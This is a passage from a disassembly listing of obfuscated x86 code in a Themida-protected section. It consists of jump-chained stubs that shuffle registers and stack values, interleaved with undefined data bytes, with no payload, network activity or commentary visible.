		dd 0FF6953E9h, 4ED83FFh, 270FE9h, 58C28900h, 3F61EA81h
		dd 0D1017966h, 91B9E95Ah, 0CA89FFFFh, 68D2F759h, 1A7Bh
		dd 52240C89h, 50826BAh,	0C848E913h, 0C581FFFFh,	4, 4C581h
		dd 2C870000h, 24248B24h, 2A4CEB81h, 0EB814082h,	78770CFCh
		dd 0C381C301h, 78770CFCh, 2A4CC381h, 34FF4082h,	56BFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51F73E:				; CODE XREF: Themida_:005237FEj
		pop	ecx
		push	3859h
		mov	[esp], edx
		jmp	loc_510A47
; ---------------------------------------------------------------------------

loc_51F74C:				; CODE XREF: Themida_:00522EBFj
		xor	dword ptr [esp], 1210B82h
		pop	esi
		jmp	loc_513A9C
; ---------------------------------------------------------------------------

loc_51F759:				; CODE XREF: Themida_:0051B721j
		add	esp, 4
		push	ecx
		mov	ecx, 561A257Dh
		shr	ecx, 3
		sub	ecx, 0CCF715A2h
		xor	esi, ecx
		pop	ecx
		jmp	loc_520EBA
; ---------------------------------------------------------------------------

loc_51F776:				; CODE XREF: Themida_:00514EBBj
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_51894E
; ---------------------------------------------------------------------------
		dd 887D45B9h, 96F18102h, 81043913h, 0C50F1FE9h,	4B1FE973h
		dd 0EF81FFFFh, 6263760Ch, 0E254F781h, 5E57DFA6h, 56243C8Bh
		dd 12E9E689h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F7B7:				; CODE XREF: Themida_:00512253j
		push	1694h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_51EEAA
; ---------------------------------------------------------------------------
		db 5Ah,	68h, 0B5h
		dd 89000012h, 6BB62414h, 148BF000h, 0E2895224h,	0FFACF8E9h
		dd 20F52DFFh, 34FF3A2Ah, 24148B24h, 4C481h, 0F1E90000h
		dd 31FFFFCCh, 4CE958C5h, 89000043h, 2BB241Ch, 1000000h
		dd 34335BDEh, 0A05E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51F812:				; CODE XREF: Themida_:00515339j
		pop	ecx

loc_51F813:				; CODE XREF: Themida_:005153C6j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_512420
; ---------------------------------------------------------------------------
		db 0BAh, 0C7h, 6Ch
		dd 0FEE96AB8h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51F82B:				; CODE XREF: Themida_:0050F759j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5245D8
; ---------------------------------------------------------------------------
		dw 6857h
		dd 3ED17E87h, 0E92434FFh, 1DD2h, 6E4EB81h, 0C2816FC2h
		dd 4B3A3355h, 331468h, 242C8900h, 4EC81h, 4890000h, 46D56824h
		dd 0F0E960DAh
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F86B:				; CODE XREF: Themida_:00516A2Ej
		push	esi
		mov	esi, 4
		sub	eax, esi
		jmp	loc_524B34
; ---------------------------------------------------------------------------
		dd 6F36C781h, 0C78170A9h, 383C707Fh, 2DE9D729h,	31000050h
		dd 0F32959CEh, 61F3815Eh, 0F73F7816h, 0E89E9DBh, 4830000h
		dd 525E0424h, 0BB5F7BBAh, 89C2816Ch, 19344A0h, 0EE815AD6h
		dd 4, 8B243487h, 34892424h, 42CABE24h, 77E951E7h, 5EFFFF79h
		dd 0EB81F301h, 4D8C4C2Eh, 0FFD123E9h, 0E9DFF6FFh, 3ED7h
		dd 0B65266ACh, 0E9F028D7h, 1F45h, 8159CD21h, 182084F5h
		dd 49C78120h, 115D82Ah,	685652EFh, 1BCE67B5h, 6B76E95Eh
		dd 0C781FFFFh, 0E5A3EB7Dh, 5AA0C681h, 0FE01311Fh, 5AA0EE81h
		dd 16E9311Fh, 2DFFFF0Eh, 70C85F85h, 5E8295Ah, 7F8C7F84h
		dd 0E92434FFh, 0FFFF0D23h, 0C680DEF6h, 5AF128FBh, 5024148Bh
		dd 4055854h, 2D000000h,	4, 5C240487h, 89243C89h, 4C781E7h
		dd 83000000h, 3C3304C7h, 243C3124h, 5E3E9h, 24148700h
		dd 24048F5Ch, 0CD3665Ch, 8DE99C24h, 0E9FFFEFDh,	0FFFEFD88h
; ---------------------------------------------------------------------------

loc_51F984:				; CODE XREF: Themida_:0051C7EBj
		add	edi, ebx
		add	edi, 1981007Eh
		jmp	loc_5207CB
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0E0h
		dd 813E400Bh, 8EBBD0C5h, 5DEA2930h, 8B241487h, 3C682424h
		dd 54000011h, 0E924048Fh, 0FFFFAB0Eh, 4BA525Eh,	1000000h
		dd 0C6835AD6h, 24348704h, 24048F5Ch, 0FF7DD6E9h, 0E28952FFh
		dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFFA839h, 0E95A5452h
		dd 0FFFFBF4Bh, 0FCEEE981h, 0CB21BCF8h, 8C54E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F9FA:				; CODE XREF: Themida_:0051AB39j
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_51F9FF:				; CODE XREF: Themida_:00521421j
		add	ebx, 4
		jmp	loc_516113
; ---------------------------------------------------------------------------
		dw 2C80h
		dd 480B924h, 2C28B624h,	242C8024h, 8FDDE9B6h, 0EB00FFFFh
		dd 0E9240C8Bh, 13A7h, 0CA2FD3BFh, 0C9C7E927h, 6855FFFFh
		dd 20FD1E18h, 0FF7D7BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51FA3D:				; CODE XREF: Themida_:00512FF4j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shl	ecx, 2
		shl	ecx, 5
		push	67F1h
		mov	[esp], edx
		mov	edx, 1130CF80h
		xor	ecx, edx
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		jmp	loc_515A32
; ---------------------------------------------------------------------------

loc_51FA69:				; CODE XREF: Themida_:00520C61j
		mov	ecx, 5A483AF7h
		sub	ecx, 77FBA84h
		jmp	loc_5228BF
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 6
		dd 0D5F7D5F7h, 2414F755h, 38FEE9h, 4BD00h, 0EA810000h
		dd 63253A46h, 0BF57EA01h, 63253A46h, 5D5FFA01h,	8B241487h
		dd 0EC812424h, 4, 0FF911FE9h, 0E7E953FFh, 5E00002Fh, 0FF791BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51FABD:				; CODE XREF: Themida_:00521207j
		mov	eax, 4
		sub	ebx, 6D856D65h
		add	ebx, eax
		push	esi
		jmp	loc_5195C0
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E92434FFh, 1AA0h,	4C18159h, 83000000h, 0BBE904E9h
		dd 66FFFFDAh, 79E9D6F7h, 40FFFF86h, 0F7DAF792h,	0EEF281DAh
		dd 89EFB7C2h, 0C7815AD3h, 52890F21h, 65C0EF81h,	0DF296BE9h
		dd 65C0C781h, 0EF816BE9h, 52890F21h, 37BB535Bh,	294B9218h
		dd 0EA815BDAh, 20623798h, 0FF6DE6E9h, 240C89FFh, 0FF4A0CE9h
		dd 240C8BFFh, 6804C483h, 69E5h,	0BA241489h, 59346FAEh
		dd 8245429h, 0FF53FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51FB55:				; CODE XREF: Themida_:005201A2j
		mov	eax, ebp
		pop	ebp
		jmp	loc_51B6C2
; ---------------------------------------------------------------------------

loc_51FB5D:				; CODE XREF: Themida_:00512579j
		and	edx, edi
		pop	edi
		add	edx, 2D2DCFB8h
		or	edi, edx
		pop	edx
		xor	edi, 515E5F19h
		jmp	loc_519F80
; ---------------------------------------------------------------------------

loc_51FB74:				; CODE XREF: Themida_:0052301Dj
		pop	edx
		push	edi
		jmp	loc_513DF8
; ---------------------------------------------------------------------------

loc_51FB7B:				; CODE XREF: Themida_:00524C9Fj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_520C3A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1788E181h, 0E9C12238h, 9221E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51FB9A:				; CODE XREF: Themida_:00510907j
		mov	ebx, [esp]
		jmp	loc_51D959
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 89243489h, 4EC81E6h, 89000000h, 0FEE9242Ch
		dd 81FFFFBCh, 4C4h, 8BF02800h, 0A9E92414h, 66FFFFCCh, 0B6241489h
		dd 5EC380E6h, 0EB80F328h, 148B665Eh, 4EC8124h, 0E9000000h
		dd 3F7Fh, 0B9E94AB5h, 33FFFF87h, 1C31241Ch, 241C3324h
		dd 25F0E95Ch, 0FBB2FFFFh, 0FF0616E9h, 4EC81FFh,	0E9000000h
		dd 0FFFFE310h, 348BF001h, 4C48324h, 545868h, 240C8900h
		dd 0B34CE168h, 0E1C15941h, 0BD555307h, 66E77E10h, 0F7D5F74Dh
		dd 0D8F581DDh, 89762022h, 0BCE95DEBh, 83FFFFE2h, 48702C0h
		dd 24248B24h, 0E9E18951h, 0FFFFF6F4h, 295DEF01h, 27BA52C7h
		dd 296B6E14h, 2D585AD7h, 4D0B4180h, 8005F801h, 5F4D0B41h
		dd 4EC81h, 2C890000h, 0D1A5E924h, 0E95CFFFFh, 0FFFFFA51h
; ---------------------------------------------------------------------------

loc_51FC88:				; CODE XREF: Themida_:0051369Ej
		add	esi, ebp
		pop	ebp
		add	esi, 7B3337E4h
		add	esi, 0F3DC55FFh
		add	ecx, esi
		pop	esi
		jmp	loc_510D5B
; ---------------------------------------------------------------------------

loc_51FC9F:				; CODE XREF: Themida_:00523675j
		mov	[esp], ebx
		mov	ebx, 41660EC5h
		jmp	loc_516E74
; ---------------------------------------------------------------------------
		dd 0A04ACh, 4137E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51FCB6:				; CODE XREF: Themida_:0051EB9Aj
		push	edi
		mov	edi, 2EBC0C19h
		jmp	loc_524CDF
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 4
		dd 1EE99C24h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51FCCB:				; CODE XREF: Themida_:00511B8Fj
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5806324Bh
		jmp	loc_521B2D
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4C581h, 2C870000h, 0A4E95C24h, 52FFFF38h
		dd 8B52FA89h, 5BE9240Ch, 59FFFFC8h, 0E959CA01h,	0FFFF1CC1h
		dd 5EF3295Bh, 0FFE9BEE9h, 0E9E189FFh, 0FFFFF825h, 81C3305Ah
		dd 4ECh, 240C8900h, 28BD5557h, 89000000h, 242C8BEFh, 4C481h
		dd 0B8E90000h, 83FFFFFFh, 43E904C4h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51FD4B:				; CODE XREF: Themida_:0051576Aj
		mov	eax, ecx
		pop	ecx
		xchg	eax, edi
		sub	edi, 1
		xchg	eax, edi
		jmp	loc_5141F2
; ---------------------------------------------------------------------------

loc_51FD5B:				; CODE XREF: Themida_:00523E04j
		mov	edx, 80B5810h
		jmp	loc_51CCAA
; ---------------------------------------------------------------------------

loc_51FD65:				; CODE XREF: Themida_:005225E9j
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_51D479
; ---------------------------------------------------------------------------

loc_51FD7D:				; CODE XREF: Themida_:00518233j
		xchg	ecx, [esp]
		jmp	loc_514A9B
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 0F4h
		dd 4EC81h, 4890000h, 0FDB25224h, 148BD088h, 4C48124h, 0E9000000h
		dd 0FFFF9854h
; ---------------------------------------------------------------------------

loc_51FDA4:				; CODE XREF: Themida_:0051BBA1j
		push	esp
		pop	ebp
		push	eax
		push	ebp
		jmp	loc_522621
; ---------------------------------------------------------------------------
		db 58h,	1, 0F3h
		dd 1193EB81h, 348B1AF8h, 4C48124h, 0E9000000h, 0FFFF8711h
		dd 5EF668h, 241C8900h, 6BCDBA52h, 38BB6EC1h, 0E9A209C8h
		dd 0FFFF74E2h, 0E904EBC1h, 0FFFF080Eh, 5659CF89h, 0AE2F5DBEh
		dd 24A7E91Eh, 0DC680000h, 8900004Dh, 0A8B22414h, 805AD188h
		dd 0D100C9C1h, 8904EC83h, 69B62414h, 99B55166h,	0FF9447E9h
		dd 815B54FFh, 4C3h, 4EB8100h, 0E9000000h, 0FFFF7AEBh, 81E18951h
		dd 4C1h, 4C18100h, 33000000h, 0C31240Ch, 8AFEE924h, 0EC83FFFFh
		dd 24148904h, 46695EBAh, 3EE95141h, 5D00002Eh, 83240C8Bh
		dd 0EB2904C4h, 0EBEB815Dh, 2920741Fh, 0D1E955C3h, 2DFFFFABh
		dd 4BA4535Dh, 22805A2Dh, 58C729D1h, 0C15FFD89h,	0E58104E5h
		dd 33CF4A5Ah, 8108E5C1h, 4ECh, 243C8900h, 0FFAD72E9h, 0E95156FFh
		dd 0FFFF2B2Ch, 4C481h, 0C4810000h, 4, 0E959C829h, 3815h
; ---------------------------------------------------------------------------

loc_51FEB0:				; CODE XREF: Themida_:005237B2j
		xor	edi, [esp]
		jmp	loc_5150A7
; ---------------------------------------------------------------------------
		dd 6217EF81h, 0FDE97C0Bh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51FEC3:				; CODE XREF: Themida_:005219A4j
		push	37E6112Ch
		pop	edx
		push	eax
		jmp	loc_51D9CC
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704EBh, 24248B24h, 89243489h
		dd 4C681E6h, 0E9000000h, 0FFFF2EA8h, 8B2434FFh,	0C481243Ch
		dd 4, 52E78957h, 0FFC08BE9h, 58C300FFh,	0FF5D0FE9h, 240C89FFh
		dd 0C181E189h, 4, 3514B850h, 0E9531462h, 0FFFFCF2Ch, 0E9242C31h
		dd 0FFFF61C5h, 43A568h,	24048900h, 165368h, 24248900h
		dd 4240483h, 8324048Bh,	40504C4h, 0E9000000h, 0FFFF7EB8h
		dd 8B243C33h, 0CB882424h, 8BD83059h, 0A2E9241Ch
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51FF63:				; CODE XREF: Themida_:00510B2Dj
		push	edx
		jmp	loc_510418
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd offset dword_504E60+89h
		dd 1C8B5900h, 4C48324h,	6C9DE781h, 64E91BDFh, 33000027h
		dd 3C31243Ch, 243C3324h, 2404895Ch, 91BA5251h, 0E945BD70h
		dd 0FFFF0BEEh
; ---------------------------------------------------------------------------

loc_51FF9C:				; CODE XREF: Themida_:00513E7Aj
		add	ebp, 0A4E375Bh
		sub	ebp, 14AB7B44h
		add	ebp, edx
		add	ebp, 14AB7B44h
		jmp	loc_511D7A
; ---------------------------------------------------------------------------

loc_51FFB5:				; CODE XREF: Themida_:0051712Ej
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		add	dword ptr [esp], 4B274164h
		pop	ebp
		jmp	loc_523D1B
; ---------------------------------------------------------------------------
		dd 0EC83F029h, 242C8904h, 72750D68h, 0E8015D1Dh, 2434FF5Dh
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_51D34E
; ---------------------------------------------------------------------------
		dd 0B03A1EBAh, 7E2C15Eh, 0F251E942h, 0CC28FFFFh, 92F48059h
		dd 8008F480h, 0C38018EBh, 80E30082h, 6AE982EBh,	0B9FFFF28h
		dd 1DF2D59h, 12C6E9h, 0FC90B00h, 0FF710284h, 895356FFh
		dd 4C381E3h, 81000000h
		db 0EBh
byte_520045	db 4, 2	dup(0)		; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		dd 241C8700h, 48F545Ch,	38A9E924h, 0E7890000h, 4C781h
		dd 0C7810000h, 4, 5C243C87h, 0FF1C5F09h, 1C8B2434h, 4C48124h
		dd 50000000h, 0FF0527E9h, 2C5B66FFh, 4362E91Ch,	0C6290000h
		dd 2C68158h, 523E1150h,	6C65B668h, 24148B72h, 84E95456h
		dd 89FFFF49h, 4C281E2h,	0E9000000h, 0FFFF4562h,	4244481h
		dd 42C96498h, 0FF2D7AE9h, 4F32BBFFh, 0E3D10CF4h, 3932EB81h
		dd 0F38163B6h, 8485EA5h, 593FC381h, 92E95D4Dh, 53000013h
		dd 20E9EF88h, 87FFFF75h, 0E95C243Ch, 0FFFF6C27h, 7394C381h
		dd 0EB816E8Bh, 1AEF57F2h, 7474EB81h, 0C3291B39h, 7474C381h
		dd 5CE91B39h, 5FFFFD7h,	4, 42Dh, 24048700h, 2434895Ch
		dd 468h, 0CBCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520122:				; CODE XREF: Themida_:00512D15j
		mov	eax, 0F868CCh
		add	eax, 197C442Ah
		inc	eax
		dec	eax
		sub	eax, 1A74ACF2h
		add	ecx, 11FF14C9h
		add	ecx, eax
		sub	ecx, 11FF14C9h
		mov	eax, [esp]
		jmp	loc_520A35
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 5
		dd 813A9E69h, 3E2DA6F1h, 8313E973h, 505BFFFFh, 0D44E9h
		dd 4BB00h, 0D8290000h, 2404875Bh, 8924248Bh, 57B9240Ch
		dd 6810FC36h, 0B51h, 0FF68C9E9h, 0F0BB53FFh, 17F8D25h
		dd 5B04245Ch, 81240401h, 25F0242Ch, 0E9557F8Dh,	0FFFFDE1Ah
; ---------------------------------------------------------------------------

loc_52019C:				; CODE XREF: Themida_:0051D8FEj
		xor	ebp, 15387478h
		jmp	loc_51FB55
; ---------------------------------------------------------------------------

loc_5201A7:				; CODE XREF: Themida_:005150B0j
		pop	eax
		jmp	loc_51195F
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FFB6C6E9h, 53E789FFh, 4BBh,	5BDF0100h, 8704C783h, 8F5C243Ch
		dd 248B2404h, 4896624h,	0F4DAE924h, 2C87FFFFh, 24248B24h
		dd 0E9241489h, 0FFFF9EB7h, 5E2C166h, 85C28166h,	0C2816638h
		dd 4266FFFFh, 30C28166h, 2D10E977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5201FE:				; CODE XREF: Themida_:00510F58j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_521A8B
; ---------------------------------------------------------------------------

loc_52020C:				; CODE XREF: Themida_:0051A393j
		add	edi, 4FE62F07h
		jmp	loc_523707
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 0D3665C24h, 0E99C243Ch, 0FFFEF4E4h, 0E92434FFh
		dd 0FFFF34EBh
; ---------------------------------------------------------------------------

loc_520230:				; CODE XREF: Themida_:005193E9j
		mov	eax, 24h
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	1DF0h
		mov	[esp], eax
		mov	eax, 3E006CC0h
		mov	edx, eax
		mov	eax, [esp]
		jmp	loc_51DB6F
; ---------------------------------------------------------------------------

loc_520253:				; CODE XREF: Themida_:005191C5j
		add	esi, 0E848C206h
		sub	ebx, esi
		pop	esi
		shl	ebx, 7
		add	ebx, 44044C05h
		xor	ebp, ebx
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_51DECE
; ---------------------------------------------------------------------------
		dd 5C241C87h, 54243489h, 5E2434FFh, 4C481h, 0C6810000h
		dd 4, 6B4F68h, 242C8900h, 2FF768h, 181EE900h, 0E95CFFFFh
		dd 0FFFF4793h, 295EF189h, 240C8BCDh, 4C481h, 685E0000h
		dd 0FA9h, 0B9240C89h, 729E3065h, 0FF4F1DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5202C5:				; CODE XREF: Themida_:005237F7j
		mov	[esp], edi
		push	135E0B3Bh
		pop	edi
		push	esi
		mov	esi, 46081200h
		jmp	loc_523373
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0EBh
		dd 7F1C483Dh, 815BDF89h, 3237CDEFh, 0E9F88969h,	0FFFFACB0h
		dd 5D530BB9h, 0BB53564Dh, 203602AAh, 0FFB36DE9h, 1ABB53FFh
		dd 8114B065h, 231DE7F3h, 5ECB815Eh, 8154A50Fh, 0A5738E3h
		dd 0F7D3871Bh, 68D387D2h, 7078h, 0BF243C89h, 7ABE576Fh
		dd 815FFB01h, 0B70123C3h, 5BDA89CCh, 7FE951h, 34890000h
		dd 2404FF24h, 0FF9D04E9h, 0EC8151FFh, 4, 89242C89h, 4C581E5h
		dd 81000000h, 4EDh, 242C8700h, 243C895Ch, 3C5AE950h, 1580000h
		dd 0FF505BD8h, 0FF042474h, 34FF2434h, 0C4835824h, 37986804h
		dd 34890000h, 0E9E68924h, 788h
; ---------------------------------------------------------------------------

loc_520390:				; CODE XREF: Themida_:0051E83Dj
		mov	[esp], edi
		push	eax
		mov	eax, 3FBB58ECh
		mov	edi, eax
		pop	eax
		add	ebx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 1BD57B93h
		push	edx
		mov	edx, 122F6588h
		jmp	loc_522A92
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 53h
		dd 0DD473EBBh, 3AF3811Eh, 11EDD47h, 0E9835BD9h,	74FF5104h
		dd 8F590424h, 248B2404h, 243C8924h, 0C1001BBFh,	89E7812Ah
		dd 81274F14h, 34651CCFh, 0F052E963h, 0D6F7FFFFh, 0FF501BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5203FD:				; CODE XREF: Themida_:0051DA2Fj
		push	ebx
		mov	ebx, 0B0C3613h
		jmp	loc_5119AC
; ---------------------------------------------------------------------------
		dd 1C8BDF31h, 3B16824h,	1C890000h, 6143E924h, 0E951FFFFh
		dd 168Eh
; ---------------------------------------------------------------------------

loc_520420:				; CODE XREF: Themida_:005231BBj
		mov	eax, 4
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		sub	esi, ebx
		jmp	loc_517869
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 3E3DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_52045E:				; CODE XREF: Themida_:00515C4Ej
		and	edx, 487F153Ah
		shl	edx, 2
		push	6328h
		mov	[esp], eax
		mov	eax, 71050F7h
		push	edi
		mov	edi, 7171919h
		xor	eax, edi
		jmp	loc_510F44
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0ECh
		dd 24048904h, 0BA70B0B8h, 0D8F7482Dh, 0FF97CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520495:				; CODE XREF: Themida_:00522136j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 2F305A5Ah
		sub	ebp, 2F305A56h
		jmp	loc_5225E0
; ---------------------------------------------------------------------------
		db 0F6h
		dd 52C5FED5h, 0FF534DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5204C1:				; CODE XREF: Themida_:0051B7C0j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2332CCEh
		jmp	loc_519B8E
; ---------------------------------------------------------------------------
		dd 35ED815Fh, 0E99B3C36h, 0FFFFCA23h
; ---------------------------------------------------------------------------

loc_5204E8:				; CODE XREF: Themida_:00521A9Aj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_519DF1
; ---------------------------------------------------------------------------

loc_5204FA:				; CODE XREF: Themida_:0051C5A1j
		add	esp, 4
		pop	edi
		push	ebx
		push	ebp
		push	eax
		mov	eax, 36957508h
		shl	eax, 8
		and	eax, 721823EAh
		and	eax, 2E3E0AF1h
		jmp	loc_523EB9
; ---------------------------------------------------------------------------

loc_52051B:				; CODE XREF: Themida_:0051C936j
		pop	eax
		add	eax, 6D2447C7h
		pop	edx
		jmp	loc_51D42B
; ---------------------------------------------------------------------------
		db 89h
		dd 0DFBE2434h, 0C16C3E5Bh, 8DE905E6h, 0BB000029h, 446B2ADAh
		dd 0FFB8A4E9h, 240433FFh, 0E9240431h, 0FFFF3A2Bh, 0CEACE952h
		dd 0D0F7FFFFh, 0FFA9A4E9h, 571968FFh, 0C890000h, 0C4E2E924h
		dd 0E953FFFFh, 0FFFF91A4h, 27666EBAh, 0BB2EE947h, 5453FFFFh
		dd 4C3815Bh, 81000000h,	4C3h, 241C8700h, 920BE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52058E:				; CODE XREF: Themida_:00510734j
		pop	esp
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 0B450DCB7h, 0E23E909h, 8B660000h, 89572404h,	4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 242C895Ch, 0FF14C1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5205BD:				; CODE XREF: Themida_:0051E2F4j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_521C27
; ---------------------------------------------------------------------------

loc_5205CF:				; CODE XREF: Themida_:0051B295j
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5112DB
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_517779
; ---------------------------------------------------------------------------
		dw 45BAh
		dd 56657A05h, 4E006857h, 66E95B39h, 89FFFF4Ch, 4812424h
		dd 424h, 24348B00h, 0E904C483h,	687h, 0D2E9C389h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520613:				; CODE XREF: Themida_:00518167j
		mov	edx, 4
		jmp	loc_52120C
; ---------------------------------------------------------------------------

loc_52061D:				; CODE XREF: Themida_:005148E4j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_5111B4
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 82h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52062F:				; CODE XREF: Themida_:0051E782j
		push	edi
		push	eax
		mov	eax, 7DF2657Bh
		sub	eax, 2BC02E6Ch
		jmp	loc_511B44
; ---------------------------------------------------------------------------
		dd 6AD268h, 24148900h, 4EC81h, 24890000h, 24048324h, 74E95A04h
		dd 8000001Fh, 0E95041F6h, 2669h
; ---------------------------------------------------------------------------

loc_520664:				; CODE XREF: Themida_:00524F41j
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_521CBA
; ---------------------------------------------------------------------------

loc_520671:				; CODE XREF: Themida_:005237E2j
		add	bl, 9
		sub	bl, al
		sub	bl, 9
		jmp	loc_5158B3
; ---------------------------------------------------------------------------
		dw 1487h
		dd 34895C24h, 1C3C6824h, 0E9540000h, 0FFFF0FF3h, 0E8287B2Ch
		dd 1B35E952h, 0FF64FFFFh, 0F06AE932h, 0C781FFFEh, 32CEBFAFh
		dd 835FFD89h, 0E5D101C5h, 0E581D5F7h, 4A671DEAh, 0F149ED81h
		dd 0F9E9CE01h, 81FFFF93h, 916024C6h, 8BF53154h,	0C4832434h
		dd 0BDBE5604h, 0E9C1875Ch, 0FFFF58A1h, 2C04C483h, 4D80000h
		dd 2C602C00h, 24536810h, 14890000h, 0E9525324h,	0FFFFB106h
		dd 2E32BB53h, 44810CB5h, 61C70824h, 0AFE94F5Ch,	89000008h
		dd 0DE2959CBh, 0FFA063E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520715:				; CODE XREF: Themida_:005225C2j
		pop	esp
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_511717
; ---------------------------------------------------------------------------
		db 81h
		dd 0B0032BC3h, 5BDA89ABh, 0FFD6E4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520735:				; CODE XREF: Themida_:00522EEBj
		mov	esp, [esp]
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		movsx	cx, al
		push	small 38F5h
		mov	[esp], cx
		jmp	loc_5237AA
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704C283h, 0E95C2414h, 0FFFFC2EEh, 24048B66h, 52E18951h
		dd 4F22BE56h, 555137D7h, 605C82BDh, 618B928h, 0E981EF13h
		dd 78CE0D7Dh, 0C181E901h, 78CE0D7Dh, 75BF575Dh,	967AB3Dh
		dd 0E9875FF9h, 0E987D5F7h, 0BE56D9F7h, 79DA0597h, 5A7CF681h
		dd 0E9570E1Dh, 342Ch
; ---------------------------------------------------------------------------

loc_5207B4:				; CODE XREF: Themida_:00521A26j
		shr	edi, 8
		xor	edi, 61E4B7h
		sub	ecx, 1AB8647Ah
		sub	ecx, edi
		push	eax
		jmp	loc_517465
; ---------------------------------------------------------------------------

loc_5207CB:				; CODE XREF: Themida_:0051F98Cj
		pop	ebx
		push	34F8h
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
